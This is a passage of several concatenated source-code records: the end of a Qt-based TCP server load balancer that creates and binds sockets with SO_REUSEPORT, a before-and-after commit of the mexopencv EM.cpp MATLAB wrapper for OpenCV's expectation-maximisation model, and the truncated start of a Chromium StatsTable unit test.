::fcntl(fd, F_GETFL) | O_NONBLOCK);\n\n    return fd;\n#endif\n}\n\nint createNewSocket(QAbstractSocket::NetworkLayerProtocol &socketProtocol)\n{\n    int protocol = 0;\n\n    int domain = (socketProtocol == QAbstractSocket::IPv6Protocol\n                  || socketProtocol == QAbstractSocket::AnyIPProtocol) ? AF_INET6 : AF_INET;\n    int type = SOCK_STREAM;\n\n    int socket = qt_safe_socket(domain, type, protocol, O_NONBLOCK);\n    if (socket < 0 && socketProtocol == QAbstractSocket::AnyIPProtocol && errno == EAFNOSUPPORT) {\n        domain = AF_INET;\n        socket = qt_safe_socket(domain, type, protocol, O_NONBLOCK);\n        socketProtocol = QAbstractSocket::IPv4Protocol;\n    }\n\n    if (socket < 0) {\n        int ecopy = errno;\n        switch (ecopy) {\n        case EPROTONOSUPPORT:\n        case EAFNOSUPPORT:\n        case EINVAL:\n            qCDebug(CWSGI_BALANCER) << \"setError(QAbstractSocket::UnsupportedSocketOperationError, ProtocolUnsupportedErrorString)\";\n            break;\n        case ENFILE:\n        case EMFILE:\n        case ENOBUFS:\n        case ENOMEM:\n            qCDebug(CWSGI_BALANCER) << \"setError(QAbstractSocket::SocketResourceError, ResourceErrorString)\";\n            break;\n        case EACCES:\n            qCDebug(CWSGI_BALANCER) << \"setError(QAbstractSocket::SocketAccessError, AccessErrorString)\";\n            break;\n        default:\n            break;\n        }\n\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n        qCDebug(CWSGI_BALANCER, \"QNativeSocketEnginePrivate::createNewSocket(%d, %d) == false (%s)\",\n                socketType, socketProtocol,\n                strerror(ecopy));\n#endif\n\n        return false;\n    }\n\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n    qCDebug(CWSGI_BALANCER, \"QNativeSocketEnginePrivate::createNewSocket(%d, %d) == true\",\n            socketType, socketProtocol);\n#endif\n\n    return socket;\n}\n\nunion qt_sockaddr {\n    sockaddr a;\n    sockaddr_in a4;\n    sockaddr_in6 a6;\n};\n\n#  define QT_SOCKLEN_T int\n#define QT_SOCKET_BIND          ::bind\n\nnamespace {\nnamespace SetSALen {\n    template <typename T> void set(T *sa, typename std::enable_if<(&T::sa_len, true), QT_SOCKLEN_T>::type len)\n    { sa->sa_len = len; }\n    template <typename T> void set(T *sin6, typename std::enable_if<(&T::sin6_len, true), QT_SOCKLEN_T>::type len)\n    { sin6->sin6_len = len; }\n    template <typename T> void set(T *, ...) {}\n}\n}\n\nvoid setPortAndAddress(quint16 port, const QHostAddress &address, QAbstractSocket::NetworkLayerProtocol socketProtocol, qt_sockaddr *aa, int *sockAddrSize)\n{\n    if (address.protocol() == QAbstractSocket::IPv6Protocol\n        || address.protocol() == QAbstractSocket::AnyIPProtocol\n        || socketProtocol == QAbstractSocket::IPv6Protocol\n        || socketProtocol == QAbstractSocket::AnyIPProtocol) {\n        memset(&aa->a6, 0, sizeof(sockaddr_in6));\n        aa->a6.sin6_family = AF_INET6;\n\/\/#if QT_CONFIG(networkinterface)\n\/\/            aa->a6.sin6_scope_id = scopeIdFromString(address.scopeId());\n\/\/#endif\n        aa->a6.sin6_port = htons(port);\n        Q_IPV6ADDR tmp = address.toIPv6Address();\n        memcpy(&aa->a6.sin6_addr, &tmp, sizeof(tmp));\n        *sockAddrSize = sizeof(sockaddr_in6);\n        SetSALen::set(&aa->a, sizeof(sockaddr_in6));\n    } else {\n        memset(&aa->a, 0, sizeof(sockaddr_in));\n        aa->a4.sin_family = AF_INET;\n        aa->a4.sin_port = htons(port);\n        aa->a4.sin_addr.s_addr = htonl(address.toIPv4Address());\n        *sockAddrSize = sizeof(sockaddr_in);\n        SetSALen::set(&aa->a, sizeof(sockaddr_in));\n    }\n}\n\nbool nativeBind(int socketDescriptor, const QHostAddress &address, quint16 port)\n{\n    qt_sockaddr aa;\n    int sockAddrSize;\n    setPortAndAddress(port, address, address.protocol(), &aa, &sockAddrSize);\n\n#ifdef IPV6_V6ONLY\n    if (aa.a.sa_family == AF_INET6) {\n        int ipv6only = 0;\n        if (address.protocol() == QAbstractSocket::IPv6Protocol)\n            ipv6only = 1;\n        \/\/default value of this socket option varies depending on unix variant (or system configuration on BSD), so always set it explicitly\n        ::setsockopt(socketDescriptor, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&ipv6only, sizeof(ipv6only) );\n    }\n#endif\n\n    int bindResult = ::bind(socketDescriptor, &aa.a, sockAddrSize);\n    if (bindResult < 0 && errno == EAFNOSUPPORT && address.protocol() == QAbstractSocket::AnyIPProtocol) {\n        \/\/ retry with v4\n        aa.a4.sin_family = AF_INET;\n        aa.a4.sin_port = htons(port);\n        aa.a4.sin_addr.s_addr = htonl(address.toIPv4Address());\n        sockAddrSize = sizeof(aa.a4);\n        bindResult = QT_SOCKET_BIND(socketDescriptor, &aa.a, sockAddrSize);\n    }\n\n    if (bindResult < 0) {\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n        int ecopy = errno;\n#endif\n\/\/        switch(errno) {\n\/\/        case EADDRINUSE:\n\/\/            setError(QAbstractSocket::AddressInUseError, AddressInuseErrorString);\n\/\/            break;\n\/\/        case EACCES:\n\/\/            setError(QAbstractSocket::SocketAccessError, AddressProtectedErrorString);\n\/\/            break;\n\/\/        case EINVAL:\n\/\/            setError(QAbstractSocket::UnsupportedSocketOperationError, OperationUnsupportedErrorString);\n\/\/            break;\n\/\/        case EADDRNOTAVAIL:\n\/\/            setError(QAbstractSocket::SocketAddressNotAvailableError, AddressNotAvailableErrorString);\n\/\/            break;\n\/\/        default:\n\/\/            break;\n\/\/        }\n\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n        qCDebug(CWSGI_BALANCER, \"QNativeSocketEnginePrivate::nativeBind(%s, %i) == false (%s)\",\n                address.toString().toLatin1().constData(), port, strerror(ecopy));\n#endif\n\n        return false;\n    }\n\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n    qCDebug(CWSGI_BALANCER, \"QNativeSocketEnginePrivate::nativeBind(%s, %i) == true\",\n            address.toString().toLatin1().constData(), port);\n#endif\n\/\/    socketState = QAbstractSocket::BoundState;\n    return true;\n}\n\nint listenReuse(const QHostAddress &address, quint16 port, bool startListening)\n{\n    QAbstractSocket::NetworkLayerProtocol proto = address.protocol();\n\n    int socket = createNewSocket(proto);\n    if (socket < 0) {\n        qCCritical(CWSGI_BALANCER) << \"Failed to create new socket\";\n        return -1;\n    }\n\n    int optval = 1;\n    if (::setsockopt(socket, SOL_SOCKET, SO_REUSEPORT, &optval, sizeof(optval))) {\n        qCCritical(CWSGI_BALANCER) << \"Failed to set SO_REUSEPORT on socket\" << socket;\n        return -1;\n    }\n\n    if (!nativeBind(socket, address, port)) {\n        qCCritical(CWSGI_BALANCER) << \"Failed to bind to socket\" << socket;\n        return -1;\n    }\n\n    if (startListening && ::listen(socket, 100) < 0) {\n        qCCritical(CWSGI_BALANCER) << \"Failed to listen to socket\" << socket;\n        return -1;\n    }\n\n    return socket;\n}\n#endif \/\/ Q_OS_LINUX\n\nvoid TcpServerBalancer::setBalancer(bool enable)\n{\n    m_balancer = enable;\n}\n\nvoid TcpServerBalancer::incomingConnection(qintptr handle)\n{\n    TcpServer *serverIdle = m_servers.at(m_currentServer++ % m_servers.size());\n\n    serverIdle->createConnection(handle);\n}\n\nTcpServer *TcpServerBalancer::createServer(CWsgiEngine *engine)\n{\n    TcpServer *server;\n    if (m_sslConfiguration) {\n        auto sslServer = new TcpSslServer(m_serverName, m_protocol, m_wsgi, engine);\n        sslServer->setSslConfiguration(*m_sslConfiguration);\n        server = sslServer;\n    } else {\n        server = new TcpServer(m_serverName, m_protocol, m_wsgi, engine);\n    }\n    connect(engine, &CWsgiEngine::shutdown, server, &TcpServer::shutdown);\n\n    if (m_balancer) {\n        connect(engine, &CWsgiEngine::started, this, [=] () {\n            m_servers.push_back(server);\n            resumeAccepting();\n        }, Qt::QueuedConnection);\n        connect(server, &TcpServer::createConnection, server, &TcpServer::incomingConnection, Qt::QueuedConnection);\n    } else {\n\n#ifdef Q_OS_LINUX\n        if (m_wsgi->reusePort()) {\n            connect(engine, &CWsgiEngine::started, this, [=] () {\n                int socket = listenReuse(m_address, m_port, true);\n                if (!server->setSocketDescriptor(socket)) {\n                    qFatal(\"Failed to set server socket descriptor, reuse-port\");\n                }\n            }, Qt::DirectConnection);\n            return server;\n        }\n#endif\n\n        if (server->setSocketDescriptor(socketDescriptor())) {\n            server->pauseAccepting();\n            connect(engine, &CWsgiEngine::started, server, &TcpServer::resumeAccepting, Qt::DirectConnection);\n        } else {\n            qFatal(\"Failed to set server socket descriptor\");\n        }\n    }\n\n    return server;\n}\n\n#include \"moc_tcpserverbalancer.cpp\"\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file EM.cpp\n * @brief mex interface for EM\n * @author Vladimir Eremeev\n * @date 2012\n *\/\n#include \"mexopencv.hpp\"\n#include \"opencv2\/ml\/ml.hpp\"\nusing namespace std;\nusing namespace cv;\n\n\/\/ Persistent objects\n\n\/\/\/ Last object id to allocate\nint last_id = 0;\n\/\/\/ Object container\nmap<int,EM> obj_;\n\n\/\/\/ CovMatType map for option processing\nconst ConstMap<string, int> CovMatType = ConstMap<string, int>\n    (\"Spherical\", EM::COV_MAT_SPHERICAL)\n    (\"Diagonal\",  EM::COV_MAT_DIAGONAL)\n    (\"Generic\",   EM::COV_MAT_GENERIC);\n\n\/\/\/ CovMatTypeInv map for option processing\nconst ConstMap<int, string> CovMatTypeInv = ConstMap<int, string>\n    (EM::COV_MAT_SPHERICAL, \"Spherical\")\n    (EM::COV_MAT_DIAGONAL,  \"Diagonal\")\n    (EM::COV_MAT_GENERIC,   \"Generic\");\n\n\/\/ convenience macro to return results\n#define assign_lhs(ll, label, prob)  do { \\\n    plhs[0] = MxArray(ll); \\\nif (nlhs > 1) \\\n    plhs[1] = MxArray(label); \\\nif (nlhs > 2) \\\n    plhs[2] = MxArray(prob); \\\n} while(0)\n\n\/**\n * Main entry called from Matlab\n * @param nlhs number of left-hand-side arguments\n * @param plhs pointers to mxArrays in the left-hand-side\n * @param nrhs number of right-hand-side arguments\n * @param prhs pointers to mxArrays in the right-hand-side\n *\/\nvoid mexFunction( int nlhs, mxArray *plhs[],\n                  int nrhs, const mxArray *prhs[] )\n{\n    \/\/ Check the number of arguments\n    if (nrhs < 2 || nlhs > 3)\n        mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n\n    \/\/ Argument vector\n    vector<MxArray> rhs(prhs,prhs+nrhs);\n    \n    \/\/ Determine argument format between constructor or (id,method,...)\n    int id = 0;\n    string method;\n    if (nrhs > 1 && rhs[0].isNumeric() && rhs[1].isChar()) {\n        id = rhs[0].toInt();\n        method = rhs[1].toString();\n    } else {\n        mexErrMsgIdAndTxt(\"mexopencv:error\",\"Invalid arguments\");\n    }\n\n    \/\/ Big operation switch\n    if (method == \"new\") {\n        if (nrhs > 3  && (nrhs % 2)==0) {\n\n            int nclusters = EM::DEFAULT_NCLUSTERS;\n            int covMatType = EM::COV_MAT_DIAGONAL;\n            int maxIter = EM::DEFAULT_MAX_ITERS;\n            double eps = FLT_EPSILON;\n\n            for(int i = 2; i < nrhs; i += 2) {\n                string key(rhs[i].toString());\n                if (key == \"nclusters\") {\n                    nclusters = rhs[i + 1].toInt();\n                } else if (key == \"covMatType\") {\n                    covMatType = CovMatType[rhs[i + 1].toString()];\n                } else if (key == \"maxIters\") {\n                    maxIter = rhs[i + 1].toInt();\n                } else if (key == \"epsilon\") {\n                    eps = rhs[i + 1].toDouble();\n                }\n            }\n\n            obj_[++last_id] = EM(nclusters, covMatType, TermCriteria(TermCriteria::COUNT+TermCriteria::EPS, maxIter, eps));\n        } else if (nrhs == 2)\n            obj_[++last_id] = EM();\n        else \n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Invalid arguments\");\n        \n        plhs[0] = MxArray(last_id);\n        return;\n    }\n\n    EM& obj = obj_[id];\n    if (method == \"delete\") {\n        if (nrhs != 2 || nlhs != 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Output not assigned\");\n        obj_.erase(id);\n    } else if (method == \"train\") {\n        if (nrhs != 3)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n        \n        Mat samples = rhs[2].toMat();\n\n        Mat log_likelihoods;\n        Mat labels;\n        Mat probs;\n\n        obj.train(samples, log_likelihoods, labels, probs);\n\n        assign_lhs(log_likelihoods, labels, probs);\n\n    } else if (method == \"trainE\") {\n        if (nrhs < 4 || (nrhs % 2) != 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n\n        Mat samples = rhs[2].toMat();\n        Mat means0  = rhs[3].toMat();\n        \n        \/\/ transpose matrix for convenience\n        if (means0.cols == obj.get<int>(\"nclusters\") && means0.rows == samples.cols)\n            means0 = means0.t();\n\n        Mat covs0;\n        Mat weights0;\n        for(int i = 4; i < nrhs; i += 2) {\n            string key = rhs[i].toString();\n            if (key == \"covs0\") {\n                covs0 = rhs[i + 1].toMat();\n            } else if (key == \"weights0\") {\n                weights0 = rhs[i + 1].toMat();\n            }\n        }\n\n        Mat log_likelihoods;\n        Mat labels;\n        Mat probs;\n\n        obj.trainE(samples, means0, covs0, weights0, log_likelihoods, labels, probs);\n        \n        assign_lhs(log_likelihoods, labels, probs);\n    \n    } else if (method == \"trainM\") {\n        if (nrhs < 4)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n\n        Mat samples = rhs[2].toMat();\n        Mat probs0  = rhs[3].toMat();\n\n        \/\/ transpose matrix for convenience\n        if (probs0.rows == obj.get<int>(\"nclusters\") && probs0.cols == samples.rows)\n            probs0 = probs0.t();\n\n        Mat log_likelihoods;\n        Mat labels;\n        Mat probs;\n\n        obj.trainM(samples, probs0, log_likelihoods, labels, probs);\n\n        assign_lhs(log_likelihoods, labels, probs);\n    } else if (method == \"nclusters\") {\n        if (nrhs == 3 && nlhs == 0)\n            obj.set(method, rhs[2].toInt());\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<int>(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"covMatType\") {\n        if (nrhs == 3 && nlhs == 0)\n            obj.set(method, CovMatType[rhs[2].toString()]);\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(CovMatTypeInv[obj.get<int>(method)]);\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"maxIters\") {\n        if (nrhs == 3 && nlhs == 0)\n            obj.set(method, rhs[2].toInt());\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<int>(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"epsilon\") {\n        if (nrhs == 3 && nlhs == 0)\n            obj.set(method, rhs[2].toDouble());\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<double>(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"weights\" || method == \"means\") {\n        if (nrhs == 3 && nlhs == 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Attempt to set read-only property\");\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<Mat>(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"covs\") {\n        if (nrhs == 3 && nlhs == 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Attempt to set read-only property\");\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<vector<Mat> >(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"save\") {\n        if (nrhs == 3 && nlhs == 0) {\n            string filename = rhs[2].toString();\n            FileStorage fs(filename, FileStorage::WRITE);\n            if (fs.isOpened()) {\n                obj.write(fs);\n            } else {\n                ostringstream emsg;\n                emsg << \"Could not open file \" << filename << \" for writing\";\n                mexErrMsgIdAndTxt(\"mexopencv:error\",emsg.str().c_str());\n            }\n        } else {\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n        }\n    } else if (method == \"load\") {\n        if (nrhs == 3 && nlhs == 0) {\n            string filename = rhs[2].toString();\n            const FileStorage fs(filename, FileStorage::READ);\n            if (fs.isOpened()) {\n                const FileNode& fn = fs[\"StatModel.EM\"];\n                obj.read(fn);\n            } else {\n                ostringstream emsg;\n                emsg << \"Could not open file \" << filename << \" for reading\";\n                mexErrMsgIdAndTxt(\"mexopencv:error\",emsg.str().c_str());\n            }\n        } else {\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n        }\n    } else if (method == \"predict\") {\n        if (nrhs != 3)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of input arguments\");\n\n        Mat sample = rhs[2].toMat();\n\n        Mat probs;\n        Vec2d result = obj.predict(sample, probs);\n\n        assign_lhs(result[0], result[1], probs);\n\n    } else if (method == \"isTrained\") {\n        if (nrhs == 3 && nlhs == 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Attempt to set read-only property\");\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.isTrained());\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    }\n}\n<commit_msg>Added cv.EM; Improved cv.FeatureDetector; Thanks Vladimir\\!<commit_after>\/**\n * @file EM.cpp\n * @brief mex interface for EM\n * @author Vladimir Eremeev\n * @date 2012\n *\/\n#include \"mexopencv.hpp\"\n#include \"opencv2\/ml\/ml.hpp\"\nusing namespace std;\nusing namespace cv;\n\n\/\/ Persistent objects\n\n\/\/\/ Last object id to allocate\nint last_id = 0;\n\/\/\/ Object container\nmap<int,EM> obj_;\n\n\/\/\/ CovMatType map for option processing\nconst ConstMap<string, int> CovMatType = ConstMap<string, int>\n    (\"Spherical\", EM::COV_MAT_SPHERICAL)\n    (\"Diagonal\",  EM::COV_MAT_DIAGONAL)\n    (\"Generic\",   EM::COV_MAT_GENERIC);\n\n\/\/\/ CovMatTypeInv map for option processing\nconst ConstMap<int, string> CovMatTypeInv = ConstMap<int, string>\n    (EM::COV_MAT_SPHERICAL, \"Spherical\")\n    (EM::COV_MAT_DIAGONAL,  \"Diagonal\")\n    (EM::COV_MAT_GENERIC,   \"Generic\");\n\n\/\/ convenience macro to return results\n#define assign_lhs(ll, label, prob)  do { \\\n    plhs[0] = MxArray(ll); \\\nif (nlhs > 1) \\\n    plhs[1] = MxArray(label); \\\nif (nlhs > 2) \\\n    plhs[2] = MxArray(prob); \\\n} while(0)\n\n\/**\n * Main entry called from Matlab\n * @param nlhs number of left-hand-side arguments\n * @param plhs pointers to mxArrays in the left-hand-side\n * @param nrhs number of right-hand-side arguments\n * @param prhs pointers to mxArrays in the right-hand-side\n *\/\nvoid mexFunction( int nlhs, mxArray *plhs[],\n                  int nrhs, const mxArray *prhs[] )\n{\n    \/\/ Check the number of arguments\n    if (nrhs < 2 || nlhs > 3)\n        mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n\n    \/\/ Argument vector\n    vector<MxArray> rhs(prhs,prhs+nrhs);\n    \n    \/\/ Determine argument format between constructor or (id,method,...)\n    int id = 0;\n    string method;\n    if (nrhs > 1 && rhs[0].isNumeric() && rhs[1].isChar()) {\n        id = rhs[0].toInt();\n        method = rhs[1].toString();\n    } else {\n        mexErrMsgIdAndTxt(\"mexopencv:error\",\"Invalid arguments\");\n    }\n\n    \/\/ Big operation switch\n    if (method == \"new\") {\n        if (nrhs > 3  && (nrhs % 2)==0) {\n\n            int nclusters = EM::DEFAULT_NCLUSTERS;\n            int covMatType = EM::COV_MAT_DIAGONAL;\n            int maxIter = EM::DEFAULT_MAX_ITERS;\n            double eps = FLT_EPSILON;\n\n            for(int i = 2; i < nrhs; i += 2) {\n                string key(rhs[i].toString());\n                if (key == \"Nclusters\") {\n                    nclusters = rhs[i + 1].toInt();\n                } else if (key == \"CovMatType\") {\n                    covMatType = CovMatType[rhs[i + 1].toString()];\n                } else if (key == \"MaxIters\") {\n                    maxIter = rhs[i + 1].toInt();\n                } else if (key == \"Epsilon\") {\n                    eps = rhs[i + 1].toDouble();\n                }\n            }\n\n            obj_[++last_id] = EM(nclusters, covMatType, TermCriteria(TermCriteria::COUNT+TermCriteria::EPS, maxIter, eps));\n        } else if (nrhs == 2)\n            obj_[++last_id] = EM();\n        else \n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Invalid arguments\");\n        \n        plhs[0] = MxArray(last_id);\n        return;\n    }\n\n    EM& obj = obj_[id];\n    if (method == \"delete\") {\n        if (nrhs != 2 || nlhs != 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Output not assigned\");\n        obj_.erase(id);\n    } else if (method == \"train\") {\n        if (nrhs != 3)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n        Mat samples = rhs[2].toMat();\n        Mat log_likelihoods;\n        Mat labels;\n        Mat probs;\n        obj.train(samples, log_likelihoods, labels, probs);\n        assign_lhs(log_likelihoods, labels, probs);\n    } else if (method == \"trainE\") {\n        if (nrhs < 4 || (nrhs % 2) != 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n        Mat samples = rhs[2].toMat();\n        Mat means0  = rhs[3].toMat();\n        \/\/ transpose matrix for convenience\n        if (means0.cols == obj.get<int>(\"nclusters\") && means0.rows == samples.cols)\n            means0 = means0.t();\n        Mat covs0;\n        Mat weights0;\n        for(int i = 4; i < nrhs; i += 2) {\n            string key = rhs[i].toString();\n            if (key == \"Covs0\") {\n                covs0 = rhs[i + 1].toMat();\n            } else if (key == \"Weights0\") {\n                weights0 = rhs[i + 1].toMat();\n            }\n        }\n\n        Mat log_likelihoods;\n        Mat labels;\n        Mat probs;\n        obj.trainE(samples, means0, covs0, weights0, log_likelihoods, labels, probs);\n        assign_lhs(log_likelihoods, labels, probs);\n    } else if (method == \"trainM\") {\n        if (nrhs < 4)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n\n        Mat samples = rhs[2].toMat();\n        Mat probs0  = rhs[3].toMat();\n        \/\/ transpose matrix for convenience\n        if (probs0.rows == obj.get<int>(\"nclusters\") && probs0.cols == samples.rows)\n            probs0 = probs0.t();\n        Mat log_likelihoods;\n        Mat labels;\n        Mat probs;\n        obj.trainM(samples, probs0, log_likelihoods, labels, probs);\n        assign_lhs(log_likelihoods, labels, probs);\n    } else if (method == \"nclusters\") {\n        if (nrhs == 3 && nlhs == 0)\n            obj.set(method, rhs[2].toInt());\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<int>(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"covMatType\") {\n        if (nrhs == 3 && nlhs == 0)\n            obj.set(method, CovMatType[rhs[2].toString()]);\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(CovMatTypeInv[obj.get<int>(method)]);\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"maxIters\") {\n        if (nrhs == 3 && nlhs == 0)\n            obj.set(method, rhs[2].toInt());\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<int>(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"epsilon\") {\n        if (nrhs == 3 && nlhs == 0)\n            obj.set(method, rhs[2].toDouble());\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<double>(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"weights\" || method == \"means\") {\n        if (nrhs == 3 && nlhs == 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Attempt to set read-only property\");\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<Mat>(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"covs\") {\n        if (nrhs == 3 && nlhs == 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Attempt to set read-only property\");\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.get<vector<Mat> >(method));\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"isTrained\") {\n        if (nrhs == 3 && nlhs == 0)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Attempt to set read-only property\");\n        else if (nrhs == 2 && nlhs == 1)\n            plhs[0] = MxArray(obj.isTrained());\n        else\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n    } else if (method == \"save\") {\n        if (nrhs == 3 && nlhs == 0) {\n            string filename = rhs[2].toString();\n            FileStorage fs(filename, FileStorage::WRITE);\n            if (fs.isOpened()) {\n                obj.write(fs);\n            } else {\n                ostringstream emsg;\n                emsg << \"Could not open file \" << filename << \" for writing\";\n                mexErrMsgIdAndTxt(\"mexopencv:error\",emsg.str().c_str());\n            }\n        } else {\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n        }\n    } else if (method == \"load\") {\n        if (nrhs == 3 && nlhs == 0) {\n            string filename = rhs[2].toString();\n            const FileStorage fs(filename, FileStorage::READ);\n            if (fs.isOpened()) {\n                const FileNode& fn = fs[\"StatModel.EM\"];\n                obj.read(fn);\n            } else {\n                ostringstream emsg;\n                emsg << \"Could not open file \" << filename << \" for reading\";\n                mexErrMsgIdAndTxt(\"mexopencv:error\",emsg.str().c_str());\n            }\n        } else {\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of arguments\");\n        }\n    } else if (method == \"predict\") {\n        if (nrhs != 3)\n            mexErrMsgIdAndTxt(\"mexopencv:error\",\"Wrong number of input arguments\");\n        Mat sample = rhs[2].toMat();\n        Mat probs;\n        Vec2d result = obj.predict(sample, probs);\n        assign_lhs(result[0], result[1], probs);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#if defined(OS_WIN)\n#include <process.h>\n#include <windows.h>\n#endif\n\n#include \"base\/multiprocess_test.h\"\n#include \"base\/platform_thread.h\"\n#include \"base\/simple_thread.h\"\n#include \"base\/shared_memory.h\"\n#include \"base\/stats_table.h\"\n#include \"base\/stats_counters.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"testing\/multiprocess_func_list.h\"\n\nnamespace base {\n\nclass StatsTableTest : public MultiProcessTest {\n public:\n  void DeleteShmem(std::string name) {\n    base::SharedMemory mem;\n    mem.Delete(UTF8ToWide(name));\n  }\n};\n\n\/\/ Open a StatsTable and verify that we can write to each of the\n\/\/ locations in the table.\nTEST_F(StatsTableTest, VerifySlots) {\n  const std::string kTableName = \"VerifySlotsStatTable\";\n  const int kMaxThreads = 1;\n  const int kMaxCounter = 5;\n  DeleteShmem(kTableName);\n  StatsTable table(kTableName, kMaxThreads, kMaxCounter);\n\n  \/\/ Register a single thread.\n  std::string thread_name = \"mainThread\";\n  int slot_id = table.RegisterThread(thread_name);\n  EXPECT_NE(slot_id, 0);\n\n  \/\/ Fill up the table with counters.\n  std::string counter_base_name = \"counter\";\n  for (int index = 0; index < kMaxCounter; index++) {\n    std::string counter_name = counter_base_name;\n    StringAppendF(&counter_name, \"counter.ctr%d\", index);\n    int counter_id = table.FindCounter(counter_name);\n    EXPECT_GT(counter_id, 0);\n  }\n\n  \/\/ Try to allocate an additional thread.  Verify it fails.\n  slot_id = table.RegisterThread(\"too many threads\");\n  EXPECT_EQ(slot_id, 0);\n\n  \/\/ Try to allocate an additional counter.  Verify it fails.\n  int counter_id = table.FindCounter(counter_base_name);\n  EXPECT_EQ(counter_id, 0);\n\n  DeleteShmem(kTableName);\n}\n\n\/\/ CounterZero will continually be set to 0.\nconst std::string kCounterZero = \"CounterZero\";\n\/\/ Counter1313 will continually be set to 1313.\nconst std::string kCounter1313 = \"Counter1313\";\n\/\/ CounterIncrement will be incremented each time.\nconst std::string kCounterIncrement = \"CounterIncrement\";\n\/\/ CounterDecrement will be decremented each time.\nconst std::string kCounterDecrement = \"CounterDecrement\";\n\/\/ CounterMixed will be incremented by odd numbered threads and\n\/\/ decremented by even threads.\nconst std::string kCounterMixed = \"CounterMixed\";\n\/\/ The number of thread loops that we will do.\nconst int kThreadLoops = 1000;\n\nclass StatsTableThread : public base::SimpleThread {\n public:\n  StatsTableThread(std::string name, int id)\n      : base::SimpleThread(name), id_(id) { }\n  virtual void Run();\n private:\n  int id_;\n};\n\nvoid StatsTableThread::Run() {\n  \/\/ Each thread will open the shared memory and set counters\n  \/\/ concurrently in a loop.  We'll use some pauses to\n  \/\/ mixup the thread scheduling.\n\n  StatsCounter zero_counter(kCounterZero);\n  StatsCounter lucky13_counter(kCounter1313);\n  StatsCounter increment_counter(kCounterIncrement);\n  StatsCounter decrement_counter(kCounterDecrement);\n  for (int index = 0; index < kThreadLoops; index++) {\n    StatsCounter mixed_counter(kCounterMixed);  \/\/ create this one in the loop\n    